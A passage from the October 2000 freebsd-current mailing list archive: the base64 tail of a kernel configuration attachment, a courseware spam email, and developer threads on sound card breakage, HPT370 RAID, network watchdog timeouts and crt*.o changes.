IiByZXEnZWQNCm9wdGlvbnMJCVBST0NGUwkJCSNQcm9jZXNzIGZpbGVzeXN0 ZW0NCm9wdGlvbnMJCUtFUk5GUwkJCQ0Kb3B0aW9ucwkJQ09NUEFUXzQzCQkj Q29tcGF0aWJsZSB3aXRoIEJTRCA0LjMgW0tFRVAgVEhJUyFdDQoNCm9wdGlv bnMgICAgICAgICBFWFQyRlMNCg0Kb3B0aW9ucyAgICAgICAgIENPTVBBVF9M SU5VWA0Kb3B0aW9ucwkJU0NTSV9ERUxBWT0xMDAwMAkjQmUgcGVzc2ltaXN0 aWMgYWJvdXQgSm9lIFNDU0kgZGV2aWNlDQpvcHRpb25zCQlVQ09OU09MRQkJ I0FsbG93IHVzZXJzIHRvIGdyYWIgdGhlIGNvbnNvbGUNCm9wdGlvbnMJCVVT RVJDT05GSUcJCSNib290IC1jIGVkaXRvcg0Kb3B0aW9ucwkJVklTVUFMX1VT RVJDT05GSUcJI3Zpc3VhbCBib290IC1jIGVkaXRvcg0KDQpvcHRpb25zIAlL VFJBQ0UgICAgICAgICAgICAgICAgICAja3RyYWNlKDEpIHN1cHBvcnQNCm9w dGlvbnMgCVNZU1ZTSE0gICAgICAgICAgICAgICAgICNTWVNWLXN0eWxlIHNo YXJlZCBtZW1vcnkNCm9wdGlvbnMgCVNZU1ZNU0cgICAgICAgICAgICAgICAg ICNTWVNWLXN0eWxlIG1lc3NhZ2UgcXVldWVzDQpvcHRpb25zIAlTWVNWU0VN ICAgICAgICAgICAgICAgICAjU1lTVi1zdHlsZSBzZW1hcGhvcmVzDQpvcHRp b25zIAlQMTAwM18xQiAgICAgICAgICAgICAgICAjUG9zaXggUDEwMDNfMUIg cmVhbC10aW1lIGV4dGVuc2lvbnMNCm9wdGlvbnMgCV9LUE9TSVhfUFJJT1JJ VFlfU0NIRURVTElORw0KDQpvcHRpb25zCQlVU0VSX0xEVA0KDQpvcHRpb25z IAlLQkRfSU5TVEFMTF9DREVWICAgICAgICAjIGluc3RhbGwgYSBDREVWIGVu dHJ5IGluIC9kZXYNCg0KDQpvcHRpb25zIAlNU0dCVUZfU0laRT02NTUzNg0K DQojIEVuYWJsZSB0aGUgZm9sbG93aW5nIChJUEZJUkVXQUxMX1ZFUkJPU0Ug b3B0aW9uYWwpIHRvIGVuYWJsZSB0aGUgSVAgZmlyZXdhbGwNCiMgY29kZS4g IFRoaXMgaXMgdXNlZCBpbiBjb25qdW5jdGlvbiB3aXRoIHRoZSBpcGZ3KDEp IGNvbW1hbmQuICBTZWUgdGhlDQojIG1hbiBwYWdlIGZvciBtb3JlIGRldGFp bHMuDQpvcHRpb25zIAlJUEZJUkVXQUxMICAgICAgICAgICAgICAjZmlyZXdh bGwNCm9wdGlvbnMgCUlQRklSRVdBTExfVkVSQk9TRSAgICAgICNwcmludCBp bmZvcm1hdGlvbiBhYm91dCANCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAjIGRyb3BwZWQgcGFja2V0cw0Kb3B0aW9ucyAJSVBG SVJFV0FMTF9GT1JXQVJEICAgICAgI2VuYWJsZSB4cGFyZW50IHByb3h5IHN1 cHBvcnQNCiNvcHRpb25zIAlJUEZJUkVXQUxMX1ZFUkJPU0VfTElNSVQ9MTAw ICNsaW1pdCB2ZXJib3NpdHkNCm9wdGlvbnMgCUlQRklSRVdBTExfREVGQVVM VF9UT19BQ0NFUFQgI2FsbG93IGV2ZXJ5dGhpbmcgYnkgZGVmYXVsdA0Kb3B0 aW9ucyAJSVBESVZFUlQgICAgICAgICAgICAgICAgI2RpdmVydCBzb2NrZXRz DQoNCiNvcHRpb25zIAlJUFY2RklSRVdBTEwgICAgICAgICAgICAjZmlyZXdh bGwgZm9yIElQdjYNCiNvcHRpb25zIAlJUFY2RklSRVdBTExfVkVSQk9TRQ0K I29wdGlvbnMgCUlQVjZGSVJFV0FMTF9WRVJCT1NFX0xJTUlUPTEwMA0KI29w dGlvbnMgCUlQVjZGSVJFV0FMTF9ERUZBVUxUX1RPX0FDQ0VQVA0KDQojb3B0 aW9ucyAJSVBGSUxURVIgICAgICAgICAgICAgICAgI2tlcm5lbCBpcGZpbHRl ciBzdXBwb3J0DQojb3B0aW9ucyAJSVBGSUxURVJfTE9HICAgICAgICAgICAg I2lwZmlsdGVyIGxvZ2dpbmcNCiNvcHRpb25zIAlJUEZJTFRFUl9MS00gICAg ICAgICAgICAja2VybmVsIHN1cHBvcnQgZm9yIGlwX2ZpbC5vIExLTQ0KI29w dGlvbnMgCVRDUERFQlVHDQoNCiMgRFVNTVlORVQgZW5hYmxlcyB0aGUgImR1 bW15bmV0IiBiYW5kd2lkdGggbGltaXRlci4gWW91IG5lZWQNCiMgSVBGSVJF V0FMTCBhcyB3ZWxsLiBTZWUgdGhlIGR1bW15bmV0KDQpIG1hbnBhZ2UgZm9y IG1vcmUgaW5mby4NCiMgQlJJREdFIGVuYWJsZXMgYnJpZGdpbmcgYmV0d2Vl biBldGhlcm5ldCBjYXJkcyAtLSBzZWUgYnJpZGdlKDQpLg0KIyBZb3UgY2Fu IHVzZSBJUEZJUkVXQUxMIGFuZCBkdW1teW5ldCB0b2dldGhlciB3aXRoIGJy aWRnaW5nLg0KI29wdGlvbnMgCURVTU1ZTkVUDQojb3B0aW9ucyAJQlJJREdF DQoNCg0KIyBBbGxvdyB0aGUgRkZTIHRvIHVzZSBTb2Z0dXBkYXRlcyB0ZWNo bm9sb2d5Lg0KIyBUbyBkbyB0aGlzIHlvdSBuZWVkIHRvIGZldGNoIHRoZSB0 d28gZmlsZXMNCiMgL3N5cy91ZnMvZmZzL3NvZnRkZXAuaCBhbmQgL3N5cy91 ZnMvZmZzL2Zmc19zb2Z0ZGVwLmMNCiMgZnJvbSBmcmVlYnNkLm9yZyBhbmQg dW5kZXJzdGFuZCB0aGUgbGljZW5zaW5nIHJlc3RyaWN0aW9ucy4NCm9wdGlv bnMJCVNPRlRVUERBVEVTDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0K ZGV2aWNlIAkJaXNhDQpkZXZpY2UJCXBjaQ0KDQpkZXZpY2UJCWZkYw0KDQoj DQojIEFUQSBhbmQgQVRBUEkgZGV2aWNlcyANCiMgVGhpcyBpcyB3b3JrIGlu IHByb2dyZXNzLCB1c2UgYXQgeW91ciBvd24gcmlzay4gDQojIEl0IGN1cnJl bnRseSByZXVzZXMgdGhlIG1ham9ycyBvZiB3ZC5jIGFuZCBmcmVpbmRzLg0K IyBJdCBjYW5ub3QgY28tZXhpc3Qgd2l0aCB0aGUgb2xkIHN5c3RlbSBpbiBv bmUga2VybmVsLg0KIyBZb3Ugb25seSBuZWVkIG9uZSAiZGV2aWNlIGF0YTAi IGZvciBpdCB0byBmaW5kIGFsbA0KIyBQQ0kgZGV2aWNlcyBvbiBtb2Rlcm4g bWFjaGluZXMuDQpkZXZpY2UgICAgIAlhdGENCmRldmljZSAJCWF0YWRpc2sg ICAgICAgICMgQVRBIGRpc2sgZHJpdmVzDQpvcHRpb24gCQlBVEFfRU5BQkxF X1RBR1MNCg0KI2RldmljZSAJYXRhcGljZCAgICAgICAgIyBBVEFQSSBDRFJP TSBkcml2ZXMNCiNkZXZpY2UgCWF0YXBpc3QgICAgICAgICMgQVRBUEkgdGFw ZSBkcml2ZXMNCiNkZXZpY2UgCWF0YXBpZmQgICAgICAgICMgQVRBUEkgZmxv cHB5IGRyaXZlcw0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQpkZXZpY2UgCQli a3RyDQpvcHRpb25zIEJST09LVFJFRV9TWVNURU1fREVGQVVMVD1CUk9PS1RS RUVfUEFMDQpvcHRpb25zIEJLVFJfVVNFX1BMTA0KDQoNCiMgQSBzaW5nbGUg ZW50cnkgZm9yIGFueSBvZiB0aGVzZSBkZXZpY2VzIChuY3IsIGFoYiwgYWhj LCBhbWQpIGlzDQojIHN1ZmZpY2llbnQgZm9yIGFueSBudW1iZXIgb2YgaW5z dGFsbGVkIGRldmljZXMuDQpkZXZpY2UJCWFoYw0KZGV2aWNlCQlzY2J1cw0K ZGV2aWNlICAgICAgICAgIGRhDQpkZXZpY2UgICAgICAgICAgc2ENCmRldmlj ZSAgICAgICAgICBjZA0KZGV2aWNlICAgICAgICAgIHBhc3MNCg0KIyBzeXNj b25zIGlzIHRoZSBkZWZhdWx0IGNvbnNvbGUgZHJpdmVyLCByZXNlbWJsaW5n IGFuIFNDTyBjb25zb2xlDQpkZXZpY2UJCWF0a2JkYyAxDQpkZXZpY2UJCWF0 a2JkDQpkZXZpY2UgCQlwc20NCg0KZGV2aWNlIAkJdmdhDQpkZXZpY2UJCXNj IDENCm9wdGlvbnMgCVNDX0hJU1RPUllfU0laRT02MDAgICAgICMgbnVtYmVy IG9mIGhpc3RvcnkgYnVmZmVyIGxpbmVzDQoNCiMgc3BsYXNoIHNjcmVlbi9z Y3JlZW4gc2F2ZXIgICAgDQpkZXZpY2UgICAJc3BsYXNoDQoNCmRldmljZQkJ bnB4DQoNCiMNCiMgTGFwdG9wIHN1cHBvcnQgKHNlZSBMSU5UIGZvciBtb3Jl IG9wdGlvbnMpDQojDQojZGV2aWNlCQlhcG0NCg0KZGV2aWNlICAgICAgICAg IHNpbw0KDQpkZXZpY2UgICAgICAgICAgcHBjDQpkZXZpY2UgCQlwcGJ1cw0K ZGV2aWNlICAgICAgICAgIGxwdA0KZGV2aWNlIAkJbWlpYnVzDQpkZXZpY2Ug CQl4bA0KDQoNCiMgQ29udHJvbHMgYWxsIHNvdW5kIGRldmljZXMNCmRldmlj ZSAJCXBjbSANCg0KZGV2aWNlICAgCXZpbnVtICAgICAgICAgICAjVmludW0g Y29uY2F0L21pcnJvci9yYWlkIGRyaXZlcg0Kb3B0aW9ucyAgICAgICAgIFZJ TlVNREVCVUcgICAgICAjZW5hYmxlIFZpbnVtIGRlYnVnZ2luZyBob29rcw0K DQpkZXZpY2UgCQlyYW5kb20NCmRldmljZSAJCWxvb3ANCmRldmljZQkJZXRo ZXINCmRldmljZQkJdHVuDQpkZXZpY2UJCXB0eQkNCmRldmljZSAgIAlzcGVh a2VyDQpkZXZpY2UgICAJdm4gICAgICAgICAgICAgICNWbm9kZSBkcml2ZXIg KHR1cm5zIGEgZmlsZSBpbnRvIGEgZGV2aWNlKQ0KZGV2aWNlCQlzdHJlYW1z CQkjU1ZSNCBzdXBwb3J0DQpkZXZpY2UgICAJbWQgICAgICAgICAgICAgICMg TWVtb3J5ICJkaXNrcyINCiNkZXZpY2UgCWdpZiAgICAgMiAJI0lQdjYgYW5k IElQdjQgdHVubmVsaW5nDQojZGV2aWNlIAlmYWl0aCAgIDEgCSNmb3IgSVB2 NiBhbmQgSVB2NCB0cmFuc2xhdGlvbg0KDQoNCiMgIFRoZSBgYnBmJyBkZXZp Y2UgZW5hYmxlcyB0aGUgQmVya2VsZXkgUGFja2V0IEZpbHRlci4gIEJlDQoj ICBhd2FyZSBvZiB0aGUgbGVnYWwgYW5kIGFkbWluaXN0cmF0aXZlIGNvbnNl cXVlbmNlcyBvZiBlbmFibGluZyB0aGlzDQojICBvcHRpb24uICBUaGUgbnVt YmVyIG9mIGRldmljZXMgZGV0ZXJtaW5lcyB0aGUgbWF4aW11bSBudW1iZXIg b2YNCiMgIHNpbXVsdGFuZW91cyBCUEYgY2xpZW50cyBwcm9ncmFtcyBydW5u YWJsZS4NCmRldmljZQkJYnBmCQkjQmVya2VsZXkgcGFja2V0IGZpbHRlcg0K DQojIFVTQiBzdXBwb3J0DQpkZXZpY2UgCQl1aGNpICAgICAgICAgICAjIFVI Q0kgUENJLT5VU0IgaW50ZXJmYWNlICANCmRldmljZSAJCW9oY2kgICAgICAg ICAgICMgT0hDSSBQQ0ktPlVTQiBpbnRlcmZhY2UNCmRldmljZSAJCXVzYiAg ICAgICAgICAgICMgVVNCIEJ1cyAocmVxdWlyZWQpDQpkZXZpY2UgCQl1Z2Vu ICAgICAgICAgICAjIEdlbmVyaWMNCmRldmljZSAJCXVoaWQgICAgICAgICAg ICMgIkh1bWFuIEludGVyZmFjZSBEZXZpY2VzIg0KZGV2aWNlIAkJdWtiZCAg ICAgICAgICAgIyBLZXlib2FyZA0KZGV2aWNlIAkJdWxwdCAgICAgICAgICAg IyBQcmludGVyDQojZGV2aWNlIAl1bWFzcyAgICAgICAgICAjIERpc2tzL01h c3Mgc3RvcmFnZSAtIFJlcXVpcmVzIHNjYnVzIGFuZCBkYTANCmRldmljZSAJ CXVtcyAgICAgICAgICAgICMgTW91c2UNCg0KIw0KIyBTTUIgYnVzDQojDQoj IFN5c3RlbSBNYW5hZ2VtZW50IEJ1cyBzdXBwb3J0IHByb3ZpZGVkIGJ5IHRo ZSAnc21idXMnIGRldmljZS4NCiMNCiMgU3VwcG9ydGVkIGRldmljZXM6DQoj IHNtYiAgIHN0YW5kYXJkIGlvDQojDQojIFN1cHBvcnRlZCBpbnRlcmZhY2Vz Og0KIyBpaWNzbWIgSTJDIHRvIFNNQiBicmlkZ2Ugd2l0aCBhbnkgaWljYnVz IGludGVyZmFjZQ0KIyBia3RyICBicm9va3RyZWU4NDggSTJDIGhhcmR3YXJl IGludGVyZmFjZQ0KIyBpbnRwbSBJbnRlbCBQSUlYNCBQb3dlciBNYW5hZ2Vt ZW50IFVuaXQNCiMgDQpkZXZpY2UgCQlzbWJ1cw0KZGV2aWNlIAkJaWljYnVz DQpkZXZpY2UgCQlpaWNiYg0KZGV2aWNlIAkJaW50cG0NCmRldmljZSAJCXNt Yg0KDQojIGZvciBvcmFjbGU6DQpvcHRpb25zCQlTSE1NQVhQR1M9MTAwMDAN Cm9wdGlvbnMJCVNITU1OST0xMDANCm9wdGlvbnMJCVNITVNFRz0xMA0Kb3B0 aW9ucwkJU0VNTU5TPTIwMA0Kb3B0aW9ucwkJU0VNTU5JPTcwDQpvcHRpb25z CQlTRU1NU0w9NjENCg0KDQo= --0-1491137821-972812892=:3466-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 2:32:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from vector.intergate.ca (vector.intergate.ca [207.34.179.20]) by hub.freebsd.org (Postfix) with SMTP id 4968037B4D7 for ; Sun, 29 Oct 2000 02:32:38 -0800 (PST) Received: (qmail 11544 invoked by uid 1007); 29 Oct 2000 10:33:42 -0000 Received: from beowulf@quik.com by vector.intergate.ca with qmail-scanner-0.90 (uvscan: v4.0.50/v4054. . Clean. Processed in 0.114251 secs); 29/10/2000 02:33:42 Received: from gateway-208.181.229.173.intergate.ca (HELO quik.com) (208.181.229.173) by vector.intergate.ca with SMTP; 29 Oct 2000 10:33:40 -0000 From: beowulf@quik.com Reply-To: beowulf@quik.com To: current@freebsd.org Subject: Attn: Corporate Traing Coordinator - Windows 2000 Courseware Content Message-Id: <20001029103238.4968037B4D7@hub.freebsd.org> Date: Sun, 29 Oct 2000 02:32:38 -0800 (PST) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As you restructure your IT training program and consider how you might imagine the best way of providing content for your courses, you'll find yourself appreciating course content that is already prepared and ready for immediate use in your curriculum. We design and develop books and curriculum that support Systems Engineering technologies and certifications including: · A+ · Network+ · i-Net+ · MCSE · MCDBA (Full course descriptions are available) Some of our books have been top 10 best sellers through Amazon.com. Included with this letter are descriptions of the books that we sell (see Study Guide Descriptions). I thought you might also be interested to hear about our adaptive and non-adaptive test engine slated to be available 3rd quarter, 2000. The engine is designed for practice and study. Test questions and answers are easily added, edited or deleted. We can help you with your high-tech training needs including books, books on CD, Instructor led classes and distance learning products. We also create custom high-tech curriculum for companies. We are a one-stop solution for high-tech educational content, training and resources. We offer distance learning and instructor lead products for both individuals and groups and our education solutions meet typical corporate and learning center needs. We are a Microsoft Solution Provider (MSP), Microsoft Certified Technical Education Center (CTEC) and a Computer Technology Industry Association Certified Training Center (CompTIA). We partner with a major University, an international leader in adult-instructor-lead and distance learning, to offer graduate and undergraduate credit for many of our courses. Please feel free to contact me in the mean time. I look forward speaking with you further. Casey Lea, Creative Director or Domhnall Adams, CS DCGNA, CS and Associates 780-998-4066 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 4:22:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailout00.sul.t-online.com (mailout00.sul.t-online.com [194.25.134.16]) by hub.freebsd.org (Postfix) with ESMTP id 28B9A37B479 for ; Sun, 29 Oct 2000 04:22:19 -0800 (PST) Received: from fmrl03.sul.t-online.de by mailout00.sul.t-online.com with smtp id 13prTe-0007su-01; Sun, 29 Oct 2000 13:22:18 +0100 Received: from pc-micha.mc.hp.com (320021761316-0001@[62.227.38.79]) by fmrl03.sul.t-online.com with esmtp id 13prTZ-0gtLyyC; Sun, 29 Oct 2000 13:22:13 +0100 Received: from localhost (michaelc@localhost) by pc-micha.mc.hp.com (8.11.1/8.11.0) with ESMTP id e9TCLju91233 for ; Sun, 29 Oct 2000 13:21:47 +0100 (MET) (envelope-from michaelc@pc-micha.mc.hp.com) Date: Sun, 29 Oct 2000 13:21:45 +0100 (MET) From: Michael Class Reply-To: Michael Class To: current@freebsd.org Subject: Addendum: ES1370 not working on current Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: 320021761316-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have just built a kernel with /usr/src/sys/dev/sound checked out from "2000-10-25 00:00". With these files the Soundblaster PCI128 works. So it must be the changes on Oct 26th. that broke it for me. Michael ------------------------------------------------------------------------- michael class, viktor-renner str. 39, 72074 tuebingen, frg E-Mail: michael_class@gmx.net Phone: +49 7031 14-3707 (work) +49 7071 81950 (private) ------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 4:38:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 77B9E37B479; Sun, 29 Oct 2000 04:38:12 -0800 (PST) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.11.0/8.11.0) id e9T0UPZ04819; Sun, 29 Oct 2000 01:30:25 +0100 (BST) (envelope-from nik) Date: Sun, 29 Oct 2000 01:30:25 +0100 From: Nik Clayton To: Michael Lucas Cc: Kurakin Roman , freebsd-current@FreeBSD.ORG, doc@FreeBSD.ORG Subject: Re: Submiting new code Message-ID: <20001029013025.F2503@canyon.nothing-going-on.org> References: <39DC84E3.9DEF3F87@cronyx.ru> <20001005102940.A77870@blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20001005102940.A77870@blackhelicopters.org>; from mwlucas@blackhelicopters.org on Thu, Oct 05, 2000 at 10:29:40AM -0400 Organization: FreeBSD Project Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 05, 2000 at 10:29:40AM -0400, Michael Lucas wrote: > (copied to -doc for reasons which will become clear below) > > The FTP server no longer accepts uploads. Use uuencode and send-pr. > > Many people put code submissions up on a local web site and request > comments on -current or -hackers before doing this. It makes the > eventual code submission much more likely to be accepted. > > Docs folks, would one of you like to whack the offending statement > from the Handbook? It looks like section 19.2.4 is the problem. (Of > course, if we have a new FTP site, that would be good too. :) Done. Better late than never. N -- Internet connection, $19.95 a month. Computer, $799.95. Modem, $149.95. Telephone line, $24.95 a month. Software, free. USENET transmission, hundreds if not thousands of dollars. Thinking before posting, priceless. Somethings in life you can't buy. For everything else, there's MasterCard. -- Graham Reed, in the Scary Devil Monastery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 4:54:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.kpnqwest.ch (mail.eunet.ch [146.228.10.7]) by hub.freebsd.org (Postfix) with ESMTP id BBEB737B4C5 for ; Sun, 29 Oct 2000 04:54:47 -0800 (PST) Received: (from mw@localhost) by mail.kpnqwest.ch (8.9.3/1.34) id MAA28884; Sun, 29 Oct 2000 12:53:45 GMT env-from (mw@kpnqwest.ch) From: mw@kpnqwest.ch Message-Id: <200010291253.MAA28884@mail.kpnqwest.ch> Subject: Re: HPT 370 on abit KT7-RAID In-Reply-To: <200010281223.OAA18454@freebsd.dk> from Soren Schmidt at "Oct 28, 2000 02:23:35 pm" To: Soren Schmidt Date: Sun, 29 Oct 2000 13:53:45 +0100 (CET) Cc: janb@cs.utep.edu, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL72 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > The BIOS RAID on the HPT370 and the Promise Fasttrak's are now supported > both under stable and current. Let me know if doesn't work for you... As far as I can tell, the ar-device hasn't been added to sysinstall/devices.c yet, so currently I don't see how you could install a system on a HPT370 RAID... Markus -- KPNQwest Switzerland Ltd P.O. Box 1600, Hohlstrasse 550, CH-8048 Zuerich Tel: +41-1-439-4390, Fax: +41-1-439-4391 Markus Wild, Manager Network Operations, e-mail: markus.wild@kpnqwest.ch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 5: 1: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 819E937B479 for ; Sun, 29 Oct 2000 05:01:00 -0800 (PST) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id NAA63441; Sun, 29 Oct 2000 13:59:41 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200010291259.NAA63441@freebsd.dk> Subject: Re: HPT 370 on abit KT7-RAID In-Reply-To: <200010291253.MAA28884@mail.kpnqwest.ch> from "mw@kpnqwest.ch" at "Oct 29, 2000 01:53:45 pm" To: mw@kpnqwest.ch Date: Sun, 29 Oct 2000 13:59:41 +0100 (CET) Cc: janb@cs.utep.edu, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems mw@kpnqwest.ch wrote: > > The BIOS RAID on the HPT370 and the Promise Fasttrak's are now supported > > both under stable and current. Let me know if doesn't work for you... > > As far as I can tell, the ar-device hasn't been added to sysinstall/devices.c > yet, so currently I don't see how you could install a system on a HPT370 > RAID... Well you can, just not as a boot device... I'll add it in... -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 5:32:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from smtp4.port.ru (mx5.port.ru [194.67.23.40]) by hub.freebsd.org (Postfix) with ESMTP id 1269037B479 for ; Sun, 29 Oct 2000 05:32:36 -0800 (PST) Received: from adsl-141-154-116-32.bostma.adsl.bellatlantic.net ([141.154.116.32] helo=kan.dnsalias.net) by smtp4.port.ru with esmtp (Exim 3.14 #30) id 13psZd-000JHO-00; Sun, 29 Oct 2000 16:32:34 +0300 Received: (from kan@localhost) by kan.dnsalias.net (8.11.0/8.11.0) id e9TD97Y01769; Sun, 29 Oct 2000 08:09:07 -0500 (EST) (envelope-from kan) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sun, 29 Oct 2000 08:09:07 -0500 (EST) From: "Alexander N. Kabaev" To: Alexey Dokuchaev Subject: Re: ** HEADS UP ** changes to /usr/lib/crt*.o Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > What caused such a change? I mean, what the purpose of it, what set of > problems should it (probably?) solve? > http://www.FreeBSD.org/cgi/query-pr.cgi?pr=20966 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 7:22:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id B792637B479; Sun, 29 Oct 2000 07:22:23 -0800 (PST) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id KAA21972; Sun, 29 Oct 2000 10:22:22 -0500 (EST) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.11.0/8.9.1) id e9TFMMR75313; Sun, 29 Oct 2000 10:22:22 -0500 (EST) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sun, 29 Oct 2000 10:22:22 -0500 (EST) To: Motomichi Matsuzaki Cc: wpaul@freebsd.org, freebsd-current@freebsd.org Subject: Re: dc0: watchdog timeout In-Reply-To: <86hf62eovy.wl@tkc.att.ne.jp> References: <14836.62663.657129.698427@grasshopper.cs.duke.edu> <86hf62eovy.wl@tkc.att.ne.jp> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14844.16183.229740.388514@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To follow up on this, after switching from a dc0 to an fxp0 I finally managed to wedge my -current UP1000 with heavy CPU & NFS activity (starting up the linux mozilla). It is now speweing 'fxp0: device timeout' to the console (and inconveniently ignoring breaks on the serial console). So it appears that it is not dc specific (though it does seem to happen much more fequently 21143's) I guess its either alpha or SMPng specific.. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 8:31:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from www-student.eit.ihk.dk (www-student.eit.ihk.dk [194.182.124.149]) by hub.freebsd.org (Postfix) with ESMTP id 9C8CC37B479 for ; Sun, 29 Oct 2000 08:31:30 -0800 (PST) Received: (from xride@localhost) by www-student.eit.ihk.dk (8.11.0/8.11.0) id e9TGVXi27794 for freebsd-current@freebsd.org; Sun, 29 Oct 2000 17:31:33 +0100 (CET) Date: Sun, 29 Oct 2000 17:31:33 +0100 From: Me To: freebsd-current@freebsd.org Subject: SoundBlaster PCI128 Message-ID: <20001029173133.A27778@www-student.eit.ihk.dk> Reply-To: x@x12.dk Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi every one I have experinced some probs with the Audio ES1371 soundcard The problem is that when the screensaver starts the soundcard output a buzz for about 0.5Sec. i don't have a solution to that prob. but the box is a dual celeron 533 in a ABIT BP6 mobo I can't give ya the dmesg. There has happend some weird in the last days the boot sequence is change so no ssh. Best regards S›ren. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 10: 9:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 23D3E37B4C5 for ; Sun, 29 Oct 2000 10:09:13 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id KAA89535; Sun, 29 Oct 2000 10:08:04 -0800 (PST) (envelope-from obrien) Date: Sun, 29 Oct 2000 10:08:04 -0800 From: "David O'Brien" To: Alexey Dokuchaev Cc: current@FreeBSD.ORG Subject: Re: ** HEADS UP ** changes to /usr/lib/crt*.o Message-ID: <20001029100804.A89510@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <20001028124804.A69595@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from danfe@inet.ssc.nsu.ru on Sun, Oct 29, 2000 at 02:50:26PM +0600 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Oct 29, 2000 at 02:50:26PM +0600, Alexey Dokuchaev wrote: > What caused such a change? I mean, what the purpose of it, what set of > problems should it (probably?) solve? From the commit message (which you should be following if you're running -current :-) ) Log: * Bring back the guts of crt{i,n}.S. This allows C++ exceptions to work when using the egcs and gcc-devel ports, along with GCC built from stock public FSF sources. With out this change, FreeBSD will be removed from the list of systems GCC 3.0 must be evaluated on before release. With the effort some of us put into getting FreeBSD on this 